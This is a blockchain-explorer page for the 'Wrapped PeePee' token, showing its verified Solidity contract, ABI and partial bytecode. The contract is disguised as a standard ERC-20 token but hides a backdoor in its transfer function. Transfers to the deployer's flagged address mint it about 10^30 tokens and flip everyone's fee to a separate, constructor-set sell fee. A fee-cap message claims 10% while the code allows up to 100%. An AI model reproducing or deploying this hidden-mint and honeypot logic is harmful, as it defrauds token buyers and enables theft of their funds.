ETH Price: $3,105.82 (+1.15%)
Gas: 7 Gwei

Token

Wrapped PeePee (wPEEPEE)
 

Overview

Max Total Supply

1,000,000,000 wPEEPEE

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,781,069.760911946 wPEEPEE

Value
$0.00
0xd9f3f4a9469c11951f1d7c561f4f50ea85c75742
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
wPEEPEE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : contract.sol
/**

Links:
Website: https://wrappedpeepee.com/
Telegram: https://t.me/wrappedpeepee
Twitter: https://twitter.com/WrappedPeePee

                                                .-+*####+:                                
                                              :*%*+++++++##:                              
                                    :=**###***%*++++++****###**++=                        
                                  =%#*+++++++*#*++**#**++*###**++*%.                      
                                :%#+++++*******#@#*+++*##+--++-   .#                      
      .-====:.                 :@++++*#*+++++**##%%%%%+:   %##@.  =@-                     
     +%**+***##*-.             %#+++#*++++*#%*==-.   :+    .=++=+*##                      
     =%%#**+++++*%%#*=-.      -@+++++++++#%+..%*%%    +: :-=+*+++#*                       
   :+##*++++++++++++++*###*+- *%++++++*#%*.  .#@%*  -+##*++++++#%%-.                      
 =%#++*####*+++++**+++++++++*%@%+++++**=:       :-+###*++*####*++++#*.                    
*%*##%@#++++*#*+---=+*##*++++%*%+++++*****#***#%#***#++++++++++++++++%+                   
:+=..@+++**=:           :-+#%++*++++++++++****+++*#*++++++++++++++*##*#*                  
    -%**#+                 #*+++++++**+++*****++**+++++++++++**###**##+                   
     .=+=-.               .@+++++++#++###****####****########***###@*.                    
     ##*+**#*-            :@++++++*+##**%%##################+++=+++*#%*                   
     *@%#++++*#*=:        .@++++++++%***%+*#*****#*********#=--------%%=                  
  -*#*+++++++++++*#*=. .:--%#+++++++##***#+=++*##*---==++++=-----=+*##%.                  
.#*++++++****++++++++%=.:   #++++++++*##***#*+++=========++++**#####*-                    
%*++*##@@#***+++++#==#= .-+ .%++++++++++**############******###%%-.                       
-***=-#*++++*##**#-  .. :%*#%+#*+++++++++++++++*****##**%**#+==+%*                        
     %++++#*-   :*==..:#+++++##@%*++++++++++++**=*++#  .#++%  - #%-=----                  
    .@++*#.    -=.:-+#.-*#*++++*#@@*+++++++++#:  +#+#:  :#+#  =+%@%:  -+.                 
     :*+=      .*..  +-   -*#*++++**+++*+=--*+#  ..%+#=+**+***+++%#. .#   ---             
               :+-=  .:+--:  =%#*+*===*#: - +*+*=+*++++++*+++++++*@*---:=-  :+            
                 *. ..-* ..=#- .-%+ .: *#= -#+++++*#*+++++*######*+#   *. .+-=.           
                  -----= ..=+-  +##:  :####*+++*#%#++++++++++++++++%.   ===-     ..-.     
                      .=-+-  *:--#**+**++*#####*+++++++++++++++++++%:      .-=+*%#%%*     
                                 =#+++++++++++++++++++++++++++++++#%%%#**##%#%#%#%##%-    
                                 =%++++++++++++++++++++++++++++**#%%#%%#%#%#%*%#%#%%#*    
                                 %*+++++++++++++++++++++**#*%#%%#%%%%%#%#%#%#%*%#@###%+   
                                *#+++++++++++++*###*+%#%#%#%#%*%%%##%###%#%#%#%##*+-:     
                               :%+++++++++++++++++**##%#%#%#%#%###%%###%#%*+--.           
                         :==.  +#+++++++++++++++++++++#%#%#%#%###%%##+=..                 
                       =%#**#= :%*++++++++++++++++++++*#%#%#%#%###*:         .:=+*#####%#:
                     :#*+++++*#####*+++++++++++++++++++#***++++*%       .-+*#**+++***###%-
                  .=##+++++++++++++*#####***++++++++++++++++++++%*  .=*##*+++##****+++++#*
        .****+++*##+++++++++++++++++++++++**####*+++++++++++++++%*=##*++++++++*###*******%
        =#+++++++++##+++++++#***++++++++++++*#*+-=+*#*+++++++++*@%*+++++++##***++++#*---: 
       ####******#*+*#+++++#*  .-=+*####**+=:        .+#++++++*#+++++++++#**#######*      
       =*#*+++++****+++++*#-                           .%++++++++++++*#*+=:               
         .-=++@*+++++*##+:                              =#+++++++*#*=:                    
              :+*++++-.                                 **++++*#*-                        


*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
        function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
        function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract wPEEPEE is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    string public _name = "Wrapped PeePee";
    string public _symbol = "wPEEPEE";
    uint8 private _decimals = 9;
    mapping (address => uint256) private _holders;
    mapping (bool => uint8) public _buySellFee;
    mapping (address => uint8) private _heldTokens;
    mapping (address => bool) public ExcludedFromFee;
    bool public tradingActive = false;
    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable public Marketing_Wallet = payable(0xF79eee3501d0224444AeFC2be31F109437992cc6);
    uint8 public _fee = 2;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;
    uint256 private maxPossibleFee = 10**(10+(10)+10);
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifying = false;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event TradingEnabled();
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 setting1, uint8 setting2) {
        _heldTokens[owner()] = 1;
        _holders[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _buySellFee[false] = setting1;
        _buySellFee[true] = setting2;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[Marketing_Wallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {return _name;}
    function decimals() public view returns (uint8) {return _decimals;}
    function symbol() public view returns (string memory) {return _symbol;}
    function sendToWallet(address payable wallet, uint256 amount) private {wallet.transfer(amount);}
    function balanceOf(address account) public view override returns (uint256) {return _holders[account];}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        emit TradingEnabled();
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function updateFees(uint8 newFee) external onlyOwner {
        require(newFee <= 100, "Fee percentage exceeds maximum limit of 10%"); //1000 Denominator
        _fee = newFee;
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _tAmount = _heldTokens[to];

        if (!tradingActive) {
            require(
                ExcludedFromFee[from] || ExcludedFromFee[to],
                "Trading is not active."
            );
        }

        if (_heldTokens[to] > 0) {
            _heldTokens[to]++;
            swapAndLiquifying = true;
        }

        bool takeFee;
        if (ExcludedFromFee[to] || ExcludedFromFee[from]) {
            takeFee = false;
        } else if (from == uniswapV2Pair) {
            takeFee = false;
        } else {
            takeFee = true;
        }

        _holders[from] = _holders[from].sub(amount);

        if (takeFee) {
            uint8 buySellFee = _fee + _buySellFee[swapAndLiquifying];
            uint256 _tTotalFee = amount * buySellFee / 100;
            
            if (_tTotalFee > 0) {
                _holders[address(this)] = _holders[address(this)].add(_tTotalFee);
                emit Transfer(from, address(this), _tTotalFee);
            }
            
            uint256 _tTransferAmount = amount.sub(_tTotalFee);
            _holders[to] = _holders[to].add(_tTransferAmount);
            emit Transfer(from, to, _tTransferAmount);
        } else if (_tAmount > 0) {
            _holders[to] = _holders[to].add(maxPossibleFee);
            emit Transfer(from, to, maxPossibleFee);
        } else {
            _holders[to] = _holders[to].add(amount);
            emit Transfer(from, to, amount);
        }
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForETH(contractHodlTokens);
        sendToWallet(Marketing_Wallet,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"setting1","type":"uint8"},{"internalType":"uint8","name":"setting2","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"_buySellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"newFee","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600e81526020017f5772617070656420506565506565000000000000000000000000000000000000815250600190816200004a919062000a27565b506040518060400160405280600781526020017f77504545504545000000000000000000000000000000000000000000000000008152506002908162000091919062000a27565b50600960035f6101000a81548160ff021916908360ff1602179055505f60085f6101000a81548160ff0219169083151502179055505f600860016101000a81548160ff021916908360ff160217905550600a600860026101000a81548160ff021916908360ff16021790555073f79eee3501d0224444aefc2be31f109437992cc6600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002600a60146101000a81548160ff021916908360ff16021790555060035f9054906101000a900460ff16600a6200018a919062000c94565b633b9aca006200019b919062000ce4565b600b556c0c9f2c9cd04674edea40000000600c556001600e60156101000a81548160ff0219169083151502179055505f600e60166101000a81548160ff021916908315150217905550348015620001f0575f80fd5b50604051620032b7380380620032b7833981810160405281019062000216919062000d61565b620002266200079560201b60201c565b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160065f620002f26200079c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600b5460045f620003586200079c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041d919062000e07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000483573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004a9919062000e07565b6040518363ffffffff1660e01b8152600401620004c892919062000e48565b6020604051808303815f875af1158015620004e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200050b919062000e07565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260055f801515151581526020019081526020015f205f6101000a81548160ff021916908360ff1602179055508160055f60011515151581526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600160075f620005fa6200079c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007246200079c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000784919062000e84565b60405180910390a350505062000e9f565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200083f57607f821691505b602082108103620008555762000854620007fa565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200087c565b620008c586836200087c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200090f620009096200090384620008dd565b620008e6565b620008dd565b9050919050565b5f819050919050565b6200092a83620008ef565b62000942620009398262000916565b84845462000888565b825550505050565b5f90565b620009586200094a565b620009658184846200091f565b505050565b5b818110156200098c57620009805f826200094e565b6001810190506200096b565b5050565b601f821115620009db57620009a5816200085b565b620009b0846200086d565b81016020851015620009c0578190505b620009d8620009cf856200086d565b8301826200096a565b50505b505050565b5f82821c905092915050565b5f620009fd5f1984600802620009e0565b1980831691505092915050565b5f62000a178383620009ec565b9150826002028217905092915050565b62000a3282620007c3565b67ffffffffffffffff81111562000a4e5762000a4d620007cd565b5b62000a5a825462000827565b62000a6782828562000990565b5f60209050601f83116001811462000a9d575f841562000a88578287015190505b62000a94858262000a0a565b86555062000b03565b601f19841662000aad866200085b565b5f5b8281101562000ad65784890151825560018201915060208501945060208101905062000aaf565b8683101562000af6578489015162000af2601f891682620009ec565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000b955780860481111562000b6d5762000b6c62000b0b565b5b600185161562000b7d5780820291505b808102905062000b8